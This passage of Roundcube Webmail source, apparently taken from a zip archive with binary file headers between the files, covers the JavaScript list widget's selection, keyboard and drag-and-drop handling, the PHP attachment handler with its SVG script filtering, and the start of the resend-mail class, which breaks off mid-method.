      case CONTROL_SHIFT_KEY:
        this.shift_select(id, true);
        break;

      default:
        this.highlight_row(id, false);
        break;
    }

    this.multi_selecting = true;
  }

  if (this.last_selected && this.rows[this.last_selected]) {
    $(this.rows[this.last_selected].obj).removeClass('focused')
      .find(this.col_tagname()).eq(this.subject_column()).removeAttr('tabindex');
  }

  // unselect if toggleselect is active and the same row was clicked again
  if (this.toggleselect && in_selection_before && !mod_key) {
    this.clear_selection();
  }
  // trigger event if selection changed
  else if (this.selection.join(',') != select_before) {
    this.triggerEvent('select');
  }

  if (this.rows[id]) {
    $(this.rows[id].obj).addClass('focused');
    // set cursor focus to link inside selected row
    if (this.focused)
      this.focus_noscroll($(this.rows[id].obj).find(this.col_tagname()).eq(this.subject_column()).attr('tabindex', '0'));
  }

  if (!this.selection.length)
    this.shift_start = null;

  this.last_selected = id;
},


/**
 * Alias method for select_row
 */
select: function(id)
{
  this.select_row(id, false);
  this.scrollto(id);
},


/**
 * Select row next to the specified or last selected one
 * Either below or above.
 */
select_next: function(uid)
{
  var new_row = this.get_next_row(uid) || this.get_prev_row(uid);
  if (new_row)
    this.select_row(new_row.uid, false, false);
},


/**
 * Select first row
 */
select_first: function(mod_key, noscroll)
{
  var row = this.get_first_row();
  if (row) {
    this.select_row(row, mod_key, false);

    if (!noscroll)
      this.scrollto(row);
  }
},


/**
 * Select last row
 */
select_last: function(mod_key, noscroll)
{
  var row = this.get_last_row();
  if (row) {
    this.select_row(row, mod_key, false);

    if (!noscroll)
      this.scrollto(row);
  }
},


/**
 * Add all children of the given row to selection
 */
select_children: function(uid)
{
  var i, children = this.row_children(uid), len = children.length;

  for (i=0; i<len; i++)
    if (!this.in_selection(children[i]))
      this.select_row(children[i], CONTROL_KEY, true);
},


/**
 * Perform selection when shift key is pressed
 */
shift_select: function(id, control)
{
  if (!this.rows[this.shift_start] || !this.selection.length)
    this.shift_start = id;

  var n, i, j, to_row = this.rows[id],
    from_rowIndex = this._rowIndex(this.rows[this.shift_start].obj),
    to_rowIndex = this._rowIndex(to_row.obj);

  // if we're going down the list, and we hit a thread, and it's closed, select the whole thread
  if (from_rowIndex < to_rowIndex && !to_row.expanded && to_row.has_children)
    if (to_row = this.rows[(this.row_children(id)).pop()])
      to_rowIndex = this._rowIndex(to_row.obj);

  i = ((from_rowIndex < to_rowIndex) ? from_rowIndex : to_rowIndex),
  j = ((from_rowIndex > to_rowIndex) ? from_rowIndex : to_rowIndex);

  // iterate through the entire message list
  for (n in this.rows) {
    if (this._rowIndex(this.rows[n].obj) >= i && this._rowIndex(this.rows[n].obj) <= j) {
      if (!this.in_selection(n)) {
        this.highlight_row(n, true);
      }
    }
    else {
      if (this.in_selection(n) && !control) {
        this.highlight_row(n, true);
      }
    }
  }
},


/**
 * Helper method to emulate the rowIndex property of non-tr elements
 */
_rowIndex: function(obj)
{
  return (obj.rowIndex !== undefined) ? obj.rowIndex : $(obj).prevAll().length;
},

/**
 * Check if given id is part of the current selection
 */
in_selection: function(id, index)
{
  for (var n in this.selection)
    if (this.selection[n] == id)
      return index ? parseInt(n) : true;

  return false;
},


/**
 * Select each row in list
 */
select_all: function(filter)
{
  if (!this.rowcount)
    return false;

  // reset but remember selection first
  var n, select_before = this.selection.join(',');
  this.selection = [];

  for (n in this.rows) {
    if (!filter || this.rows[n][filter] == true) {
      this.last_selected = n;
      this.highlight_row(n, true, true);
    }
    else {
      $(this.rows[n].obj).removeClass('selected').removeAttr('aria-selected');
    }
  }

  // trigger event if selection changed
  if (this.selection.join(',') != select_before)
    this.triggerEvent('select');

  this.focus();

  return true;
},


/**
 * Invert selection
 */
invert_selection: function()
{
  if (!this.rowcount)
    return false;

  // remember old selection
  var n, select_before = this.selection.join(',');

  for (n in this.rows)
    this.highlight_row(n, true);

  // trigger event if selection changed
  if (this.selection.join(',') != select_before)
    this.triggerEvent('select');

  this.focus();

  return true;
},


/**
 * Unselect selected row(s)
 */
clear_selection: function(id, no_event)
{
  var n, num_select = this.selection.length;

  // one row
  if (id) {
    for (n in this.selection)
      if (this.selection[n] == id) {
        this.selection.splice(n,1);
        break;
      }
  }
  // all rows
  else {
    for (n in this.selection)
      if (this.rows[this.selection[n]]) {
        $(this.rows[this.selection[n]].obj).removeClass('selected').removeAttr('aria-selected');
      }

    this.selection = [];
  }

  if (this.checkbox_selection)
    $(this.row_tagname() + ':not(.selected) > .selection > input:checked', this.list).prop('checked', false);

  if (num_select && !this.selection.length && !no_event) {
    this.triggerEvent('select');
    this.last_selected = null;
  }
},


/**
 * Getter for the selection array
 */
get_selection: function(deep)
{
  var res = $.merge([], this.selection);

  var props = {deep: deep, res: res};
  if (this.triggerEvent('getselection', props) === false)
    return props.res;

  // return children of selected threads even if only root is selected
  if (deep !== false && res.length) {
    for (var uid, uids, i=0, len=res.length; i<len; i++) {
      uid = res[i];
      if (this.rows[uid] && this.rows[uid].has_children && !this.rows[uid].expanded) {
        uids = this.row_children(uid);
        for (var j=0, uids_len=uids.length; j<uids_len; j++) {
          uid = uids[j];
          if (!this.in_selection(uid))
            res.push(uid);
        }
      }
    }
  }

  return res;
},


/**
 * Return the ID if only one row is selected
 */
get_single_selection: function()
{
  var selection = this.get_selection(false);

  if (selection.length == 1)
    return selection[0];
  else
    return null;
},


/**
 * Highlight/unhighlight a row
 */
highlight_row: function(id, multiple, norecur)
{
  if (!this.rows[id])
    return;

  if (!multiple) {
    if (this.selection.length > 1 || !this.in_selection(id)) {
      this.clear_selection(null, true);
      this.selection[0] = id;
      $(this.rows[id].obj).addClass('selected').attr('aria-selected', 'true');

      if (this.checkbox_selection)
        $('.selection > input', this.rows[id].obj).prop('checked', true);
    }
  }
  else {
    var pre, post, p = this.in_selection(id, true);

    if (p === false) { // select row
      this.selection.push(id);
      $(this.rows[id].obj).addClass('selected').attr('aria-selected', 'true');

      if (this.checkbox_selection)
        $('.selection > input', this.rows[id].obj).prop('checked', true);

      if (!norecur && !this.rows[id].expanded)
        this.highlight_children(id, true);
    }
    else { // unselect row
      pre = this.selection.slice(0, p);
      post = this.selection.slice(p+1, this.selection.length);

      this.selection = pre.concat(post);
      $(this.rows[id].obj).removeClass('selected').removeAttr('aria-selected');

      if (this.checkbox_selection)
        $('.selection > input', this.rows[id].obj).prop('checked', false);

      if (!norecur && !this.rows[id].expanded)
        this.highlight_children(id, false);
    }
  }
},


/**
 * Highlight/unhighlight all children of the given row
 */
highlight_children: function(id, status)
{
  var i, selected,
    children = this.row_children(id), len = children.length;

  for (i=0; i<len; i++) {
    selected = this.in_selection(children[i]);
    if ((status && !selected) || (!status && selected))
      this.highlight_row(children[i], true, true);
  }
},


/**
 * Handler for keyboard events
 */
key_press: function(e)
{
  if (!this.focused || $(e.target).is('input,textarea,select'))
    return true;

  var keyCode = rcube_event.get_keycode(e),
    mod_key = rcube_event.get_modifier(e);

  switch (keyCode) {
    case 37:    // Left arrow
    case 39:    // Right arrow
    case 40:    // Up arrow
    case 38:    // Down arrow
    case 63233: // "down" in Safari keypress
    case 63232: // "up" in Safari keypress
      // Stop propagation so that the browser doesn't scroll
      rcube_event.cancel(e);
      return this.use_arrow_key(keyCode, mod_key);

    case 32: // Space
      rcube_event.cancel(e);
      return this.select_row(this.last_selected, mod_key, true);

    case 36: // Home
      this.select_first(mod_key);
      return rcube_event.cancel(e);

    case 35: // End
      this.select_last(mod_key);
      return rcube_event.cancel(e);

    case 65: // Ctrl + A
      if (mod_key == CONTROL_KEY && this.multiselect) {
        this.select_first(null, true);
        this.select_last(SHIFT_KEY, true);
        return rcube_event.cancel(e);
      }
      break;

    case 27: // Esc
      if (this.drag_active)
        return this.drag_mouse_up(e);

      if (this.col_drag_active) {
        this.selected_column = null;
        return this.column_drag_mouse_up(e);
      }

      return rcube_event.cancel(e);

    case 9: // Tab
      this.blur();
      break;

    case 13: // Enter
      if (!this.selection.length)
        this.select_row(this.last_selected, mod_key, false);

    default:
      this.key_pressed = keyCode;
      this.modkey = mod_key;
      this.triggerEvent('keypress');
      this.modkey = 0;

      if (this.key_pressed == this.BACKSPACE_KEY)
        return rcube_event.cancel(e);
  }

  return true;
},


/**
 * Special handling method for arrow keys
 */
use_arrow_key: function(keyCode, mod_key)
{
  var new_row, selected_row = this.rows[this.last_selected];

  if (!selected_row) {
    // select the first row if none selected yet
    this.select_first(CONTROL_KEY);
  }
  // Safari uses the non-standard keycodes 63232/63233 for up/down, if we're
  // using the keypress event (but not the keydown or keyup event).
  else if (keyCode == 40 || keyCode == 63233) // Down arrow
    new_row = this.get_next_row();
  else if (keyCode == 38 || keyCode == 63232) // Up arrow
    new_row = this.get_prev_row();
  else if (keyCode == 39 && selected_row.has_children) { // Right arrow
    if (!selected_row.expanded)
      this.expand_all(selected_row);
    else {
      // jump to the first child
      new_row = this.get_next_row();
      mod_key = null;
    }
  }
  else if (keyCode == 37) { // Left arrow
    if (selected_row.expanded && selected_row.has_children && (!selected_row.parent_uid || !this.multiexpand))
      this.collapse_all(selected_row);
    else if (selected_row.parent_uid) {
      // jump to the top-most or closest parent
      if (mod_key == CONTROL_KEY)
        new_row = this.rows[this.find_root(selected_row.uid)];
      else
        new_row = this.rows[selected_row.parent_uid];

      mod_key = null;
    }
  }

  if (new_row) {
    // simulate ctr-key if no rows are selected
    if (!mod_key && !this.selection.length)
      mod_key = CONTROL_KEY;

    this.select_row(new_row.uid, mod_key, false);
    this.scrollto(new_row.uid);
  }

  return false;
},


/**
 * Try to scroll the list to make the specified row visible
 */
scrollto: function(id)
{
  var row = this.rows[id] ? this.rows[id].obj : null;

  if (row && this.frame) {
    var scroll_to = Number(row.offsetTop),
      head_offset = 0;

    // expand thread if target row is hidden (collapsed)
    if (!scroll_to && this.rows[id].parent_uid) {
      var parent = this.find_root(this.rows[id].uid);
      this.expand_all(this.rows[parent]);
      scroll_to = Number(row.offsetTop);
    }

    if (this.fixed_header)
      head_offset = Number(this.thead.offsetHeight);

    // if row is above the frame (or behind header)
    if (scroll_to < Number(this.frame.scrollTop) + head_offset) {
      // scroll window so that row isn't behind header
      this.frame.scrollTop = scroll_to - head_offset;
    }
    else if (scroll_to + Number(row.offsetHeight) > Number(this.frame.scrollTop) + Number(this.frame.offsetHeight))
      this.frame.scrollTop = (scroll_to + Number(row.offsetHeight)) - Number(this.frame.offsetHeight);
  }
},


/**
 * Handler for mouse move events
 */
drag_mouse_move: function(e)
{
  // convert touch event
  if (e.type == 'touchmove') {
    if (e.touches.length == 1 && e.changedTouches.length == 1)
      e = rcube_event.touchevent(e.changedTouches[0]);
    else
      return rcube_event.cancel(e);
  }

  if (this.drag_start) {
    // check mouse movement, of less than 3 pixels, don't start dragging
    var m = rcube_event.get_mouse_pos(e),
      limit = 10, selection = [], self = this;

    if (!this.drag_mouse_start || (Math.abs(m.x - this.drag_mouse_start.x) < 3 && Math.abs(m.y - this.drag_mouse_start.y) < 3))
      return false;

    // remember dragging start position
    this.drag_start_pos = {left: m.x, top: m.y};

    // initialize drag layer
    if (!this.draglayer)
      this.draglayer = $('<div>').attr('id', 'rcmdraglayer')
        .css({position: 'absolute', display: 'none', 'z-index': 2000})
        .appendTo(document.body);
    else
      this.draglayer.html('');

    // get selected rows (in display order), don't use this.selection here
    $(this.row_tagname() + '.selected', this.tbody).each(function() {
      var uid = self.get_row_uid(this), row = self.rows[uid];

      if (!row || $.inArray(uid, selection) > -1)
        return;

      selection.push(uid);

      // also handle children of (collapsed) trees for dragging (they might be not selected)
      if (row.has_children && !row.expanded)
        $.each(self.row_children(uid), function() {
          if ($.inArray(this, selection) > -1)
            return;
          selection.push(this);
        });

      // break the loop asap
      if (selection.length > limit + 1)
        return false;
    });

    var row, subject,
      subject_col = self.subject_column(),
      subject_func = function(cell) {
        if (cell) {
          // remove elements marked with "skip-on-drag" class
          cell = $(cell).clone();
          $(cell).find('.skip-on-drag').remove();
        }
        return cell ? cell.text() : '';
      };

    // append subject (of every row up to the limit) to the drag layer
    $.each(selection, function(i, uid) {
      if (i > limit) {
        self.draglayer.append($('<div>').text('...'));
        return false;
      }

      row = self.rows[uid].obj;
      subject = '';

      $(row).children(self.col_tagname()).each(function(n, cell) {
        if (subject_col < 0 || (subject_col >= 0 && subject_col == n)) {
          if (subject = subject_func(cell)) {
            return false;
          }
        }
      });

      // Subject column might be wrong, fallback to .subject
      if (!subject.length) {
        subject = subject_func($(row).children('.subject').first());
      }

      if (subject.length) {
        // remove leading spaces
        subject = subject.trim();
        // truncate line to 50 characters
        subject = (subject.length > 50 ? subject.substring(0, 50) + '...' : subject);

        self.draglayer.append($('<div>').text(subject));
      }
    });

    this.draglayer.show();
    this.drag_active = true;
    this.triggerEvent('dragstart');
  }

  if (this.drag_active && this.draglayer) {
    var pos = rcube_event.get_mouse_pos(e);
    this.draglayer.css({ left:(pos.x+20)+'px', top:(pos.y-5 + (bw.ie ? document.documentElement.scrollTop : 0))+'px' });
    this.triggerEvent('dragmove', e?e:window.event);
  }

  this.drag_start = false;

  return false;
},


/**
 * Handler for mouse up events
 */
drag_mouse_up: function(e)
{
  document.onmousemove = null;

  if (e.type == 'touchend') {
    if (e.changedTouches.length != 1)
      return rcube_event.cancel(e);
  }

  if (this.draglayer && this.draglayer.is(':visible')) {
    if (this.drag_start_pos)
      this.draglayer.animate(this.drag_start_pos, 300, 'swing').hide(20);
    else
      this.draglayer.hide();
  }

  if (this.drag_active)
    this.focus();
  this.drag_active = false;

  rcube_event.remove_listener({event:'mousemove', object:this, method:'drag_mouse_move'});
  rcube_event.remove_listener({event:'mouseup', object:this, method:'drag_mouse_up'});

  if (bw.touch) {
    rcube_event.remove_listener({event:'touchmove', object:this, method:'drag_mouse_move'});
    rcube_event.remove_listener({event:'touchend', object:this, method:'drag_mouse_up'});
  }

  // remove temp divs
  this.del_dragfix();

  this.triggerEvent('dragend', e);

  return rcube_event.cancel(e);
},


/**
 * Handler for mouse move events for dragging list column
 */
column_drag_mouse_move: function(e)
{
  if (this.drag_start) {
    // check mouse movement, of less than 3 pixels, don't start dragging
    var i, m = rcube_event.get_mouse_pos(e);

    if (!this.drag_mouse_start || (Math.abs(m.x - this.drag_mouse_start.x) < 3 && Math.abs(m.y - this.drag_mouse_start.y) < 3))
      return false;

    if (!this.col_draglayer) {
      var lpos = $(this.list).offset(),
        cells = this.thead.rows[0].cells;

      // fix layer position when list is scrolled
      lpos.top += this.list.scrollTop + this.list.parentNode.scrollTop;

      // create dragging layer
      this.col_draglayer = $('<div>').attr('id', 'rcmcoldraglayer')
        .css(lpos).css({ position:'absolute', 'z-index':2001,
           'background-color':'white', opacity:0.75,
           height: (this.frame.offsetHeight-2)+'px', width: (this.frame.offsetWidth-2)+'px' })
        .appendTo(document.body)
        // ... and column position indicator
       .append($('<div>').attr('id', 'rcmcolumnindicator')
          .css({ position:'absolute', 'border-right':'2px dotted #555', 
          'z-index':2002, height: (this.frame.offsetHeight-2)+'px' }));

      this.cols = [];
      this.list_pos = this.list_min_pos = lpos.left;
      // save columns positions
      for (i=0; i<cells.length; i++) {
        this.cols[i] = cells[i].offsetWidth;
        if (this.column_fixed !== null && i <= this.column_fixed) {
          this.list_min_pos += this.cols[i];
        }
      }
    }

    this.col_draglayer.show();
    this.col_drag_active = true;
    this.triggerEvent('column_dragstart');
  }

  // set column indicator position
  if (this.col_drag_active && this.col_draglayer) {
    var i, cpos = 0, pos = rcube_event.get_mouse_pos(e);

    for (i=0; i<this.cols.length; i++) {
      if (pos.x >= this.cols[i]/2 + this.list_pos + cpos)
        cpos += this.cols[i];
      else
        break;
    }

    // handle fixed columns on left
    if (i == 0 && this.list_min_pos > pos.x)
      cpos = this.list_min_pos - this.list_pos;
    // empty list needs some assignment
    else if (!this.list.rowcount && i == this.cols.length)
      cpos -= 2;
    $('#rcmcolumnindicator').css({ width: cpos+'px'});
    this.triggerEvent('column_dragmove', e?e:window.event);
  }

  this.drag_start = false;

  return false;
},


/**
 * Handler for mouse up events for dragging list columns
 */
column_drag_mouse_up: function(e)
{
  document.onmousemove = null;

  if (this.col_draglayer) {
    (this.col_draglayer).remove();
    this.col_draglayer = null;
  }

  rcube_event.remove_listener({event:'mousemove', object:this, method:'column_drag_mouse_move'});
  rcube_event.remove_listener({event:'mouseup', object:this, method:'column_drag_mouse_up'});

  // remove temp divs
  this.del_dragfix();

  if (this.col_drag_active) {
    this.col_drag_active = false;
    this.focus();
    this.triggerEvent('column_dragend', e);

    if (this.selected_column !== null && this.cols && this.cols.length) {
      var i, cpos = 0, pos = rcube_event.get_mouse_pos(e);

      // find destination position
      for (i=0; i<this.cols.length; i++) {
        if (pos.x >= this.cols[i]/2 + this.list_pos + cpos)
          cpos += this.cols[i];
        else
          break;
      }

      if (i != this.selected_column && i != this.selected_column+1) {
        this.column_replace(this.selected_column, i);
      }
    }
  }

  return rcube_event.cancel(e);
},


/**
 * Returns IDs of all rows in a thread (except root) for specified root
 */
row_children: function(uid)
{
  if (!this.rows[uid] || !this.rows[uid].has_children)
    return [];

  var res = [], depth = this.rows[uid].depth,
    row = this.rows[uid].obj.nextSibling;

  while (row) {
    if (row.nodeType == 1) {
      if (r = this.rows[row.uid]) {
        if (!r.depth || r.depth <= depth)
          break;
        res.push(r.uid);
      }
    }
    row = row.nextSibling;
  }

  return res;
},


/**
 * Creates a layer for drag&drop over iframes
 */
add_dragfix: function()
{
  $('iframe').each(function() {
    $('<div class="iframe-dragdrop-fix"></div>')
      .css({background: '#fff',
        width: this.offsetWidth+'px', height: this.offsetHeight+'px',
        position: 'absolute', opacity: '0.001', zIndex: 1000
      })
      .css($(this).offset())
      .appendTo(document.body);
  });
},


/**
 * Removes the layer for drag&drop over iframes
 */
del_dragfix: function()
{
  $('div.iframe-dragdrop-fix').remove();
},


/**
 * Replaces two columns
 */
column_replace: function(from, to)
{
  // only supported for <table> lists
  if (!this.thead || !this.thead.rows)
    return;

  var len, cells = this.thead.rows[0].cells,
    elem = cells[from],
    before = cells[to],
    td = document.createElement('td');

  // replace header cells
  if (before)
    cells[0].parentNode.insertBefore(td, before);
  else
    cells[0].parentNode.appendChild(td);
  cells[0].parentNode.replaceChild(elem, td);

  // replace list cells
  for (r=0, len=this.tbody.rows.length; r<len; r++) {
    row = this.tbody.rows[r];

    elem = row.cells[from];
    before = row.cells[to];
    td = document.createElement('td');

    if (before)
      row.insertBefore(td, before);
    else
      row.appendChild(td);
    row.replaceChild(elem, td);
  }

  // update subject column position
  if (this.subject_col == from)
    this.subject_col = to > from ? to - 1 : to;
  else if (this.subject_col < from && to <= this.subject_col)
    this.subject_col++;
  else if (this.subject_col > from && to >= this.subject_col)
    this.subject_col--;

  if (this.fixed_header)
    this.init_header();

  this.triggerEvent('column_replace');
},

subject_column: function()
{
  return this.subject_col + (this.checkbox_selection ? 1 : 0);
}

};

rcube_list_widget.prototype.addEventListener = rcube_event_engine.prototype.addEventListener;
rcube_list_widget.prototype.removeEventListener = rcube_event_engine.prototype.removeEventListener;
rcube_list_widget.prototype.triggerEvent = rcube_event_engine.prototype.triggerEvent;

// static
rcube_list_widget._instances = [];
PK
h�\L�[�2�2-program/include/rcmail_attachment_handler.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Unified access to attachment properties and body                    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Unified access to attachment properties and body
 * Unified for message parts as well as uploaded attachments
 *
 * @package Webmail
 */
class rcmail_attachment_handler
{
    public $filename;
    public $size;
    public $mimetype;
    public $ident;
    public $charset = RCUBE_CHARSET;

    private $message;
    private $part;
    private $upload;
    private $body;
    private $body_file;
    private $download = false;

    /**
     * Class constructor.
     * Reads request parameters and initializes attachment/part props.
     */
    public function __construct()
    {
        ob_end_clean();

        $part_id    = rcube_utils::get_input_string('_part', rcube_utils::INPUT_GET);
        $file_id    = rcube_utils::get_input_string('_file', rcube_utils::INPUT_GET);
        $compose_id = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GET);
        $uid        = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GET);
        $rcube      = rcube::get_instance();

        $this->download = !empty($_GET['_download']);

        // similar code as in program/steps/mail/show.inc
        if (!empty($uid)) {
            $rcube->config->set('prefer_html', true);
            $this->message = new rcube_message($uid, null, !empty($_GET['_safe']));
            $this->part = $this->message->mime_parts[$part_id] ?? null;

            if ($this->part) {
                $this->filename = rcmail_action_mail_index::attachment_name($this->part);
                $this->mimetype = $this->part->mimetype;
                $this->size     = $this->part->size;
                $this->ident    = $this->message->headers->messageID . ':' . $this->part->mime_id . ':' . $this->size . ':' . $this->mimetype;
                $this->charset  = $this->part->charset ?: RCUBE_CHARSET;

                if (empty($_GET['_frame'])) {
                    // allow post-processing of the attachment body
                    $plugin = $rcube->plugins->exec_hook('message_part_get', [
                            'uid'      => $uid,
                            'id'       => $this->part->mime_id,
                            'mimetype' => $this->mimetype,
                            'part'     => $this->part,
                            'download' => $this->download,
                    ]);

                    if ($plugin['abort']) {
                        exit;
                    }

                    // overwrite modified vars from plugin
                    $this->mimetype = $plugin['mimetype'];

                    if (!empty($plugin['body'])) {
                        $this->body = $plugin['body'];
                        $this->size = strlen($this->body);
                    }
                }
            }
        }
        else if ($file_id && $compose_id) {
            $file_id = preg_replace('/^rcmfile/', '', $file_id);
            $compose = $_SESSION['compose_data_' . $compose_id] ?? null;

            if ($compose && ($this->upload = $compose['attachments'][$file_id])) {
                $this->filename = $this->upload['name'];
                $this->mimetype = $this->upload['mimetype'];
                $this->size     = $this->upload['size'];
                $this->ident    = sprintf('%s:%s%s', $compose_id, $file_id, $this->size);
                $this->charset  = !empty($this->upload['charset']) ? $this->upload['charset'] : RCUBE_CHARSET;
            }
        }

        if (empty($this->part) && empty($this->upload)) {
            header('HTTP/1.1 404 Not Found');
            exit;
        }

        // check connection status
        self::check_storage_status();

        $this->mimetype = rcube_mime::fix_mimetype($this->mimetype);
    }

    /**
     * Remove temp files, etc.
     */
    public function __destruct()
    {
        if ($this->body_file) {
            @unlink($this->body_file);
        }
    }

    /**
     * Check if the object is a message part not uploaded file
     *
     * @return bool True if the object is a message part
     */
    public function is_message_part()
    {
        return !empty($this->message);
    }

    /**
     * Object/request status
     *
     * @return bool Status
     */
    public function is_valid()
    {
        return !empty($this->part) || !empty($this->upload);
    }

    /**
     * Return attachment/part mimetype if this is an image
     * of supported type.
     *
     * @return string Image mimetype
     */
    public function image_type()
    {
        $part = (object) [
            'filename' => $this->filename,
            'mimetype' => $this->mimetype,
        ];

        return rcmail_action_mail_index::part_image_type($part);
    }

    /**
     * Formatted attachment/part size (with units)
     *
     * @return string Attachment/part size (with units)
     */
    public function size()
    {
        $part = $this->part ?: ((object) ['size' => $this->size, 'exact_size' => true]);
        return rcmail_action::message_part_size($part);
    }

    /**
     * Returns, prints or saves the attachment/part body
     */
    public function body($size = null, $fp = null)
    {
        // we may have the body in memory or file already
        if ($this->body !== null) {
            if ($fp == -1) {
                echo $size ? substr($this->body, 0, $size) : $this->body;
            }
            else if ($fp) {
                $result = fwrite($fp, $size ? substr($this->body, $size) : $this->body) !== false;
            }
            else {
                $result = $size ? substr($this->body, 0, $size) : $this->body;
            }
        }
        else if ($this->body_file) {
            if ($size) {
                $result = file_get_contents($this->body_file, false, null, 0, $size);
            }
            else {
                $result = file_get_contents($this->body_file);
            }

            if ($fp == -1) {
                echo $result;
            }
            else if ($fp) {
                $result = fwrite($fp, $result) !== false;
            }
        }
        else if ($this->message) {
            $result = $this->message->get_part_body($this->part->mime_id, false, 0, $fp);

            // check connection status
            if (!$fp && $this->size && empty($result)) {
                self::check_storage_status();
            }
        }
        else if ($this->upload) {
            // This hook retrieves the attachment contents from the file storage backend
            $attachment = rcube::get_instance()->plugins->exec_hook('attachment_get', $this->upload);

            if ($fp && $fp != -1) {
                if ($attachment['data']) {
                    $result = fwrite($fp, $size ? substr($attachment['data'], 0, $size) : $attachment['data']) !== false;
                }
                else if ($attachment['path']) {
                    if ($fh = fopen($attachment['path'], 'rb')) {
                        $result = stream_copy_to_stream($fh, $fp, $size ? $size : -1);
                    }
                }
            }
            else {
                $data = $attachment['data'] ?? '';
                if (!$data && $attachment['path']) {
                    $data = file_get_contents($attachment['path']);
                }

                if ($fp == -1) {
                    echo $size ? substr($data, 0, $size) : $data;
                }
                else {
                    $result = $size ? substr($data, 0, $size) : $data;
                }
            }
        }

        return $result ?? null;
    }

    /**
     * Save the body to a file
     *
     * @param string $filename File name with path
     *
     * @return bool True on success, False on failure
     */
    public function body_to_file($filename)
    {
        if ($filename && $this->size && ($fp = fopen($filename, 'w'))) {
            $this->body(0, $fp);
            $this->body_file = $filename;
            fclose($fp);
            @chmod($filename, 0600);

            return true;
        }

        return false;
    }

    /**
     * Output attachment body with content filtering
     */
    public function output($mimetype)
    {
        if (!$this->size) {
            return false;
        }

        $secure = stripos($mimetype, 'image/') === false || $this->download;

        // Remove <script> in SVG images
        if (!$secure && stripos($mimetype, 'image/svg') === 0) {
            if (!$this->body) {
                $this->body = $this->body();
                if (empty($this->body)) {
                    return false;
                }
            }

            echo self::svg_filter($this->body);
            return true;
        }

        if ($this->body !== null && !$this->download) {
            header("Content-Length: " . strlen($this->body));
            echo $this->body;
            return true;
        }

        // Don't be tempted to set Content-Length to $part->d_parameters['size'] (#1490482)
        // RFC2183 says "The size parameter indicates an approximate size"

        return $this->body(0, -1);
    }

    /**
     * Returns formatted HTML if the attachment is HTML
     */
    public function html()
    {
        list($type, $subtype) = explode('/', $this->mimetype);
        $part = (object) [
            'charset'         => $this->charset,
            'ctype_secondary' => $subtype,
        ];

        // get part body if not available
        // fix formatting and charset
        $body = rcube_message::format_part_body($this->body(), $part);

        // show images?
        $is_safe = $this->is_safe();

        return rcmail_action_mail_index::wash_html($body, ['safe' => $is_safe, 'inline_html' => false]);
    }

    /**
     * Remove <script> in SVG images
     */
    public static function svg_filter($body)
    {
        // clean SVG with washtml
        $wash_opts = [
            'show_washed'   => false,
            'allow_remote'  => false,
            'charset'       => RCUBE_CHARSET,
            'html_elements' => ['title'],
        ];

        // initialize HTML washer
        $washer = new rcube_washtml($wash_opts);

        // allow CSS styles, will be sanitized by rcmail_washtml_callback()
        $washer->add_callback('style', 'rcmail_action_mail_index::washtml_callback');

        return $washer->wash($body);
    }

    /**
     * Handles nicely storage connection errors
     */
    public static function check_storage_status()
    {
        $error = rcmail::get_instance()->storage->get_error_code();

        // Check if we have a connection error
        if ($error == rcube_imap_generic::ERROR_BAD) {
            ob_end_clean();

            // Get action is often executed simultaneously.
            // Some servers have MAXPERIP or other limits.
            // To workaround this we'll wait for some time
            // and try again (once).
            // Note: Random sleep interval is used to minimize concurrency
            // in getting message parts

            if (!isset($_GET['_redirected'])) {
                usleep(rand(10, 30) * 100000); // 1-3 sec.
                header('Location: ' . $_SERVER['REQUEST_URI'] . '&_redirected=1');
            }
            else {
                rcube::raise_error([
                        'code' => 500, 'file' => __FILE__, 'line' => __LINE__,
                        'message' => 'Unable to get/display message part. IMAP connection error'
                    ],
                    true, true
                );
            }

            // Don't kill session, just quit (#1486995)
            exit;
        }
    }

    public function is_safe()
    {
        if ($this->message) {
            return rcmail_action_mail_index::check_safe($this->message);
        }

        return !empty($_GET['_safe']);
    }
}
PK
h�\R��`CC&program/include/rcmail_resend_mail.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Bounce/resend an email message                                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Mail_mime wrapper to handle mail resend/bounce
 *
 * @package Webmail
 */
class rcmail_resend_mail extends Mail_mime
{
    protected $orig_head;
    protected $orig_body;


    /**
     * Object constructor.
     *
     * @param array $params Class parameters derived from Mail_mime plus
     *                      'bounce_message' - rcube_message object of the original message
     *                      'bounce_headers' - An array of headers to be added to the original message
     */
    public function __construct($params = [])
    {
        // To make the code simpler always use delay_file_io=true
        $params['delay_file_io'] = true;
        $params['eol']           = "\r\n";

        if (!isset($params['bounce_headers'])) {
            $params['bounce_headers'] = [];
        }

        parent::__construct($params);
    }

    /**
     * Returns/Sets message headers
     */
    public function headers($headers = [], $overwrite = false, $skip_content = false)
    {
        // headers() wrapper that returns Resent-Cc, Resent-Bcc instead of Cc,Bcc
        // it's also called to re-add Resent-Bcc after it has been sent (to store in Sent)

        if (array_key_exists('Bcc', $headers)) {
            $this->build_params['bounce_headers']['Resent-Bcc'] = $headers['Bcc'];
        }

        foreach ($this->build_params['bounce_headers'] as $key => $val) {
            $headers[str_replace('Resent-', '', $key)] = $val;
        }

        return $headers;
    }

    /**
     * Returns all message headers as string
     */
    public function txtHeaders($headers = [], $overwrite = false, $skip_content = false)
    {
        // i.e. add Resent-* headers on top of the original message head
        $this->init_message();

        $result = [];

        foreach ($this->build_params['bounce_headers'] as $name => $value) {
            $key = str_replace('Resent-', '', $name);

            // txtHeaders() can be used to unset Bcc header
            if (array_key_exists($key, $headers)) {
